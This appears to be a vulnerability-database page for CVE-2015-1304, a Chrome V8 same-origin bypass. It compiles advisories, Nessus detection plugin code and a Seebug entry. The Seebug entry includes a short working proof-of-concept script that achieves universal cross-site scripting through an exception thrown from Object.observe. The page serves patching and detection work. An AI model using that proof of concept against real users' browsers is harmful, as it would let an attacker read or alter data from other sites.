Vulnerabilities > CVE-2015-1304 - Improper Access Control vulnerability in Google Chrome
Attack vector
UNKNOWN Attack complexity
UNKNOWN Privileges required
UNKNOWN Confidentiality impact
UNKNOWN Integrity impact
UNKNOWN Availability impact
UNKNOWN Summary
object-observe.js in Google V8, as used in Google Chrome before 45.0.2454.101, does not properly restrict method calls on access-checked objects, which allows remote attackers to bypass the Same Origin Policy via a (1) observe or (2) getNotifier call.
Vulnerable Configurations
Common Weakness Enumeration (CWE)
Common Attack Pattern Enumeration and Classification (CAPEC)
- Embedding Scripts within Scripts An attack of this type exploits a programs' vulnerabilities that are brought on by allowing remote hosts to execute scripts. The attacker leverages this capability to execute scripts to execute his/her own script by embedding it within other scripts that the target software is likely to execute. The attacker must have the ability to inject script into script that is likely to be executed. If this is done, then the attacker can potentially launch a variety of probes and attacks against the web server's local environment, in many cases the so-called DMZ, back end resources the web server can communicate with, and other hosts. With the proliferation of intermediaries, such as Web App Firewalls, network devices, and even printers having JVMs and Web servers, there are many locales where an attacker can inject malicious scripts. Since this attack pattern defines scripts within scripts, there are likely privileges to execute said attack on the host. Of course, these attacks are not solely limited to the server side, client side scripts like Ajax and client side JavaScript can contain malicious scripts as well. In general all that is required is for there to be sufficient privileges to execute a script, but not protected against writing.
- Signature Spoofing by Key Theft An attacker obtains an authoritative or reputable signer's private signature key by theft and then uses this key to forge signatures from the original signer to mislead a victim into performing actions that benefit the attacker.
Nessus
NASL family Gentoo Local Security Checks NASL id GENTOO_GLSA-201603-09.NASL description The remote host is affected by the vulnerability described in GLSA-201603-09 (Chromium: Multiple vulnerabilities) Multiple vulnerabilities have been discovered in the Chromium web browser. Please review the CVE identifiers referenced below for details. Impact : A remote attacker could possibly execute arbitrary code with the privileges of the process, cause a Denial of Service condition, obtain sensitive information, or bypass security restrictions. Workaround : There is no known workaround at this time. last seen 2020-06-01 modified 2020-06-02 plugin id 89902 published 2016-03-14 reporter This script is Copyright (C) 2016-2019 and is owned by Tenable, Inc. or an Affiliate thereof. source https://www.tenable.com/plugins/nessus/89902 title GLSA-201603-09 : Chromium: Multiple vulnerabilities code # # (C) Tenable Network Security, Inc. # # The descriptive text and package checks in this plugin were # extracted from Gentoo Linux Security Advisory GLSA 201603-09. # # The advisory text is Copyright (C) 2001-2016 Gentoo Foundation, Inc. # and licensed under the Creative Commons - Attribution / Share Alike # license. See http://creativecommons.org/licenses/by-sa/3.0/ # include("compat.inc"); if (description) { script_id(89902); script_version("2.5"); script_cvs_date("Date: 2019/04/11 17:23:06"); script_cve_id("CVE-2015-1270", "CVE-2015-1271", "CVE-2015-1272", "CVE-2015-1273", "CVE-2015-1274", "CVE-2015-1275", "CVE-2015-1276", "CVE-2015-1277", "CVE-2015-1278", "CVE-2015-1279", "CVE-2015-1280", "CVE-2015-1281", "CVE-2015-1282", "CVE-2015-1283", "CVE-2015-1284", "CVE-2015-1285", "CVE-2015-1286", "CVE-2015-1287", "CVE-2015-1288", "CVE-2015-1289", "CVE-2015-1291", "CVE-2015-1292", "CVE-2015-1293", "CVE-2015-1294", "CVE-2015-1295", "CVE-2015-1296", "CVE-2015-1297", "CVE-2015-1298", "CVE-2015-1299", "CVE-2015-1300", "CVE-2015-1302", "CVE-2015-1303", "CVE-2015-1304", "CVE-2015-6755", "CVE-2015-6756", "CVE-2015-6757", "CVE-2015-6758", "CVE-2015-6759", "CVE-2015-6760", "CVE-2015-6761", "CVE-2015-6762", "CVE-2015-6763", "CVE-2015-6764", "CVE-2015-6765", "CVE-2015-6766", "CVE-2015-6767", "CVE-2015-6768", "CVE-2015-6769", "CVE-2015-6770", "CVE-2015-6771", "CVE-2015-6772", "CVE-2015-6773", "CVE-2015-6774", "CVE-2015-6775", "CVE-2015-6776", "CVE-2015-6777", "CVE-2015-6778", "CVE-2015-6779", "CVE-2015-6780", "CVE-2015-6781", "CVE-2015-6782", "CVE-2015-6783", "CVE-2015-6784", "CVE-2015-6785", "CVE-2015-6786", "CVE-2015-6787", "CVE-2015-6788", "CVE-2015-6789", "CVE-2015-6790", "CVE-2015-6791", "CVE-2015-6792", "CVE-2015-8126", "CVE-2016-1612", "CVE-2016-1613", "CVE-2016-1614", "CVE-2016-1615", "CVE-2016-1616", "CVE-2016-1617", "CVE-2016-1618", "CVE-2016-1619", "CVE-2016-1620", "CVE-2016-1621", "CVE-2016-1622", "CVE-2016-1623", "CVE-2016-1624", "CVE-2016-1625", "CVE-2016-1626", "CVE-2016-1627", "CVE-2016-1628", "CVE-2016-1629", "CVE-2016-1630", "CVE-2016-1631", "CVE-2016-1632", "CVE-2016-1633", "CVE-2016-1634", "CVE-2016-1635", "CVE-2016-1636", "CVE-2016-1637", "CVE-2016-1638", "CVE-2016-1639", "CVE-2016-1640", "CVE-2016-1641"); script_xref(name:"GLSA", value:"201603-09"); script_name(english:"GLSA-201603-09 : Chromium: Multiple vulnerabilities"); script_summary(english:"Checks for updated package(s) in /var/db/pkg"); script_set_attribute( attribute:"synopsis", value: "The remote Gentoo host is missing one or more security-related patches." ); script_set_attribute( attribute:"description", value: "The remote host is affected by the vulnerability described in GLSA-201603-09 (Chromium: Multiple vulnerabilities) Multiple vulnerabilities have been discovered in the Chromium web browser. Please review the CVE identifiers referenced below for details. Impact : A remote attacker could possibly execute arbitrary code with the privileges of the process, cause a Denial of Service condition, obtain sensitive information, or bypass security restrictions. Workaround : There is no known workaround at this time." ); script_set_attribute( attribute:"see_also", value:"https://security.gentoo.org/glsa/201603-09" ); script_set_attribute( attribute:"solution", value: "All Chromium users should upgrade to the latest version: # emerge --sync # emerge --ask --oneshot --verbose '>=www-client/chromium-49.0.2623.87'" ); script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C"); script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C"); script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"); script_set_cvss3_temporal_vector("CVSS:3.0/E:P/RL:O/RC:C"); script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available"); script_set_attribute(attribute:"exploit_available", value:"true"); script_set_attribute(attribute:"plugin_type", value:"local"); script_set_attribute(attribute:"cpe", value:"p-cpe:/a:gentoo:linux:chromium"); script_set_attribute(attribute:"cpe", value:"cpe:/o:gentoo:linux"); script_set_attribute(attribute:"patch_publication_date", value:"2016/03/12"); script_set_attribute(attribute:"plugin_publication_date", value:"2016/03/14"); script_end_attributes(); script_category(ACT_GATHER_INFO); script_copyright(english:"This script is Copyright (C) 2016-2019 and is owned by Tenable, Inc. or an Affiliate thereof."); script_family(english:"Gentoo Local Security Checks"); script_dependencies("ssh_get_info.nasl"); script_require_keys("Host/local_checks_enabled", "Host/Gentoo/release", "Host/Gentoo/qpkg-list"); exit(0); } include("audit.inc"); include("global_settings.inc"); include("qpkg.inc"); if (!get_kb_item("Host/local_checks_enabled")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED); if (!get_kb_item("Host/Gentoo/release")) audit(AUDIT_OS_NOT, "Gentoo"); if (!get_kb_item("Host/Gentoo/qpkg-list")) audit(AUDIT_PACKAGE_LIST_MISSING); flag = 0; if (qpkg_check(package:"www-client/chromium", unaffected:make_list("ge 49.0.2623.87"), vulnerable:make_list("lt 49.0.2623.87"))) flag++; if (flag) { if (report_verbosity > 0) security_hole(port:0, extra:qpkg_report_get()); else security_hole(0); exit(0); } else { tested = qpkg_tests_get(); if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested); else audit(AUDIT_PACKAGE_NOT_INSTALLED, "Chromium"); }
NASL family FreeBSD Local Security Checks NASL id FREEBSD_PKG_0E425BB764F211E5B2FD00262D5ED8EE.NASL description Google Chrome Releases reports : Two vulnerabilities were fixed in this release : - [530301] High CVE-2015-1303: Cross-origin bypass in DOM. Credit to Mariusz Mlynski. - [531891] High CVE-2015-1304: Cross-origin bypass in V8. Credit to Mariusz Mlynski. last seen 2020-06-01 modified 2020-06-02 plugin id 86177 published 2015-09-28 reporter This script is Copyright (C) 2015-2018 and is owned by Tenable, Inc. or an Affiliate thereof. source https://www.tenable.com/plugins/nessus/86177 title FreeBSD : chromium -- multiple vulnerabilities (0e425bb7-64f2-11e5-b2fd-00262d5ed8ee) code # # (C) Tenable Network Security, Inc. # # The descriptive text and package checks in this plugin were # extracted from the FreeBSD VuXML database : # # Copyright 2003-2018 Jacques Vidrine and contributors # # Redistribution and use in source (VuXML) and 'compiled' forms (SGML, # HTML, PDF, PostScript, RTF and so forth) with or without modification, # are permitted provided that the following conditions are met: # 1. Redistributions of source code (VuXML) must retain the above # copyright notice, this list of conditions and the following # disclaimer as the first lines of this file unmodified. # 2. Redistributions in compiled form (transformed to other DTDs, # published online in any format, converted to PDF, PostScript, # RTF and other formats) must reproduce the above copyright # notice, this list of conditions and the following disclaimer # in the documentation and/or other materials provided with the # distribution. # # THIS DOCUMENTATION IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS "AS IS" # AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, # THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR # PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS # BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, # OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT # OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR # BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, # WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE # OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS DOCUMENTATION, # EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. # include("compat.inc"); if (description) { script_id(86177); script_version("2.7"); script_cvs_date("Date: 2018/11/10 11:49:44"); script_cve_id("CVE-2015-1303", "CVE-2015-1304"); script_name(english:"FreeBSD : chromium -- multiple vulnerabilities (0e425bb7-64f2-11e5-b2fd-00262d5ed8ee)"); script_summary(english:"Checks for updated packages in pkg_info output"); script_set_attribute( attribute:"synopsis", value: "The remote FreeBSD host is missing one or more security-related updates." ); script_set_attribute( attribute:"description", value: "Google Chrome Releases reports : Two vulnerabilities were fixed in this release : - [530301] High CVE-2015-1303: Cross-origin bypass in DOM. Credit to Mariusz Mlynski. - [531891] High CVE-2015-1304: Cross-origin bypass in V8. Credit to Mariusz Mlynski." ); # http://googlechromereleases.blogspot.nl/2015/09/stable-channel-update_24.html script_set_attribute( attribute:"see_also", value:"http://www.nessus.org/u?7b2fcf12" ); # https://vuxml.freebsd.org/freebsd/0e425bb7-64f2-11e5-b2fd-00262d5ed8ee.html script_set_attribute( attribute:"see_also", value:"http://www.nessus.org/u?92f67abc" ); script_set_attribute(attribute:"solution", value:"Update the affected packages."); script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P"); script_set_attribute(attribute:"plugin_type", value:"local"); script_set_attribute(attribute:"cpe", value:"p-cpe:/a:freebsd:freebsd:chromium"); script_set_attribute(attribute:"cpe", value:"p-cpe:/a:freebsd:freebsd:chromium-npapi"); script_set_attribute(attribute:"cpe", value:"p-cpe:/a:freebsd:freebsd:chromium-pulse"); script_set_attribute(attribute:"cpe", value:"cpe:/o:freebsd:freebsd"); script_set_attribute(attribute:"vuln_publication_date", value:"2015/09/24"); script_set_attribute(attribute:"patch_publication_date", value:"2015/09/27"); script_set_attribute(attribute:"plugin_publication_date", value:"2015/09/28"); script_end_attributes(); script_category(ACT_GATHER_INFO); script_copyright(english:"This script is Copyright (C) 2015-2018 and is owned by Tenable, Inc. or an Affiliate thereof."); script_family(english:"FreeBSD Local Security Checks"); script_dependencies("ssh_get_info.nasl"); script_require_keys("Host/local_checks_enabled", "Host/FreeBSD/release", "Host/FreeBSD/pkg_info"); exit(0); } include("audit.inc"); include("freebsd_package.inc"); if (!get_kb_item("Host/local_checks_enabled")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED); if (!get_kb_item("Host/FreeBSD/release")) audit(AUDIT_OS_NOT, "FreeBSD"); if (!get_kb_item("Host/FreeBSD/pkg_info")) audit(AUDIT_PACKAGE_LIST_MISSING); flag = 0; if (pkg_test(save_report:TRUE, pkg:"chromium<45.0.2454.101")) flag++; if (pkg_test(save_report:TRUE, pkg:"chromium-npapi<45.0.2454.101")) flag++; if (pkg_test(save_report:TRUE, pkg:"chromium-pulse<45.0.2454.101")) flag++; if (flag) { if (report_verbosity > 0) security_hole(port:0, extra:pkg_report_get()); else security_hole(0); exit(0); } else audit(AUDIT_HOST_NOT, "affected");
NASL family Windows NASL id GOOGLE_CHROME_45_0_2454_101.NASL description The version of Google Chrome installed on the remote Windows host is prior to 45.0.2454.101. It is, therefore, affected by multiple vulnerabilities : - An unspecified flaw exists in the DOM that allows a remote attacker to bypass the cross-origin policy. (CVE-2015-1303) - A flaw exists in the V8 JavaScript engine when handling Object.observe calls on access-checked objects. A remote attacker may exploit this to bypass the cross-origin policy. (CVE-2015-1304) last seen 2020-06-01 modified 2020-06-02 plugin id 86209 published 2015-09-30 reporter This script is Copyright (C) 2015-2019 and is owned by Tenable, Inc. or an Affiliate thereof. source https://www.tenable.com/plugins/nessus/86209 title Google Chrome < 45.0.2454.101 Multiple Vulnerabilities NASL family SuSE Local Security Checks NASL id OPENSUSE-2015-649.NASL description Chromium was updated to 45.0.2454.101 to fix two security issues. The following vulnerabilities were fixed : - CVE-2015-1303: Cross-origin bypass in DOM [boo#947504] - CVE-2015-1304: Cross-origin bypass in V8 [boo#947507] last seen 2020-06-05 modified 2015-10-12 plugin id 86338 published 2015-10-12 reporter This script is Copyright (C) 2015-2020 Tenable Network Security, Inc. source https://www.tenable.com/plugins/nessus/86338 title openSUSE Security Update : Chromium (openSUSE-2015-649) NASL family Red Hat Local Security Checks NASL id REDHAT-RHSA-2015-1841.NASL description Updated chromium-browser packages that fix two security issues are now available for Red Hat Enterprise Linux 6 Supplementary. Red Hat Product Security has rated this update as having Important security impact. Common Vulnerability Scoring System (CVSS) base scores, which give detailed severity ratings, are available for each vulnerability from the CVE links in the References section. Chromium is an open source web browser, powered by WebKit (Blink). Two flaws were found in the processing of malformed web content. A web page containing malicious content could cause Chromium to bypass cross origin restrictions, and access or modify data from an unrelated website. (CVE-2015-1303, CVE-2015-1304) All Chromium users should upgrade to these updated packages, which contain Chromium version 45.0.2454.101, which corrects these issues. After installing the update, Chromium must be restarted for the changes to take effect. last seen 2020-05-31 modified 2015-09-30 plugin id 86201 published 2015-09-30 reporter This script is Copyright (C) 2015-2020 and is owned by Tenable, Inc. or an Affiliate thereof. source https://www.tenable.com/plugins/nessus/86201 title RHEL 6 : chromium-browser (RHSA-2015:1841) NASL family Debian Local Security Checks NASL id DEBIAN_DSA-3376.NASL description Several vulnerabilities have been discovered in the chromium web browser. - CVE-2015-1303 Mariusz Mlynski discovered a way to bypass the Same Origin Policy in the DOM implementation. - CVE-2015-1304 Mariusz Mlynski discovered a way to bypass the Same Origin Policy in the v8 JavaScript library. - CVE-2015-6755 Mariusz Mlynski discovered a way to bypass the Same Origin Policy in blink/webkit. - CVE-2015-6756 A use-after-free issue was found in the pdfium library. - CVE-2015-6757 Collin Payne found a use-after-free issue in the ServiceWorker implementation. - CVE-2015-6758 Atte Kettunen found an issue in the pdfium library. - CVE-2015-6759 Muneaki Nishimura discovered an information leak. - CVE-2015-6760 Ronald Crane discovered a logic error in the ANGLE library involving lost device events. - CVE-2015-6761 Aki Helin and Khalil Zhani discovered a memory corruption issue in the ffmpeg library. - CVE-2015-6762 Muneaki Nishimura discovered a way to bypass the Same Origin Policy in the CSS implementation. - CVE-2015-6763 The chrome 46 development team found and fixed various issues during internal auditing. Also multiple issues were fixed in the v8 JavaScript library, version 4.6.85.23. last seen 2020-06-01 modified 2020-06-02 plugin id 86486 published 2015-10-21 reporter This script is Copyright (C) 2015-2018 and is owned by Tenable, Inc. or an Affiliate thereof. source https://www.tenable.com/plugins/nessus/86486 title Debian DSA-3376-1 : chromium-browser - security update NASL family MacOS X Local Security Checks NASL id MACOSX_GOOGLE_CHROME_45_0_2454_101.NASL description The version of Google Chrome installed on the remote Mac OS X host is prior to 45.0.2454.101. It is, therefore, affected by multiple vulnerabilities : - An unspecified flaw exists in the DOM that allows a remote attacker to bypass the cross-origin policy. (CVE-2015-1303) - A flaw exists in the V8 JavaScript engine when handling Object.observe calls on access-checked objects. A remote attacker may exploit this to bypass the cross-origin policy. (CVE-2015-1304) last seen 2020-06-01 modified 2020-06-02 plugin id 86210 published 2015-09-30 reporter This script is Copyright (C) 2015-2019 and is owned by Tenable, Inc. or an Affiliate thereof. source https://www.tenable.com/plugins/nessus/86210 title Google Chrome < 45.0.2454.101 Multiple Vulnerabilities (Mac OS X) NASL family Ubuntu Local Security Checks NASL id UBUNTU_USN-2757-1.NASL description Two security issues were discovered in Blink and V8. If a user were tricked in to opening a specially crafted website, an attacker could potentially exploit these to bypass same-origin restrictions. (CVE-2015-1303, CVE-2015-1304). Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues. last seen 2020-06-01 modified 2020-06-02 plugin id 86294 published 2015-10-06 reporter Ubuntu Security Notice (C) 2015-2019 Canonical, Inc. / NASL script (C) 2015-2019 and is owned by Tenable, Inc. or an Affiliate thereof. source https://www.tenable.com/plugins/nessus/86294 title Ubuntu 14.04 LTS / 15.04 : oxide-qt vulnerabilities (USN-2757-1)
Redhat
advisories |
| ||||
rpms |
|
Seebug
bulletinFamily | exploit |
description | #### VULNERABILITY DETAILS From /v8/src/object-observe.js: ``` function ObjectObserve(object, callback, acceptList) { (...) var objectObserveFn = %GetObjectContextObjectObserve(object); return objectObserveFn(object, callback, acceptList); } ``` From /v8/src/runtime/runtime-observe.cc: ``` RUNTIME_FUNCTION(Runtime_GetObjectContextObjectObserve) { (...) Handle<Context> context(object->GetCreationContext(), isolate); return context->native_object_observe(); } ``` |objectObserveFn| is derived from the observed object's creation context, potentially cross-origin. When this function is invoked, any subsequent exceptions will be created in the aforementioned context, and they'll propagated to a try-catch handler. #### VERSION Chrome 45.0.2454.85 (Stable) Chrome 46.0.2490.22 (Beta) Chrome 47.0.2503.0 (Dev) Chromium 47.0.2510.0 (Release build compiled today) #### REPRODUCTION CASE ``` <script> var i = document.documentElement.appendChild(document.createElement('iframe')); i.onload = function() { try { Object.observe(frames[0].location, Map, 0); } catch(e) { e.constructor.constructor('alert(location)')(); } } i.src = 'https://abc.xyz'; </script> ``` |
id | SSV:93031 |
last seen | 2017-11-19 |
modified | 2017-04-24 |
published | 2017-04-24 |
reporter | Root |
source | https://www.seebug.org/vuldb/ssvid-93031 |
title | Chrome Universal XSS using exceptions thrown from Object.observe (CVE-2015-1304) |
References
- http://www.ubuntu.com/usn/USN-2757-1
- http://googlechromereleases.blogspot.com/2015/09/stable-channel-update_24.html
- http://rhn.redhat.com/errata/RHSA-2015-1841.html
- http://lists.opensuse.org/opensuse-security-announce/2015-10/msg00008.html
- https://code.google.com/p/chromium/issues/detail?id=531891
- http://www.debian.org/security/2015/dsa-3376
- https://chromium.googlesource.com/v8/v8/+/9b0fb52b57021473aa813f3fb99ad7384a8b86f1
- https://security.gentoo.org/glsa/201603-09
- http://lists.opensuse.org/opensuse-security-announce/2015-11/msg00002.html
- http://www.securitytracker.com/id/1033683
- http://www.securityfocus.com/bid/76844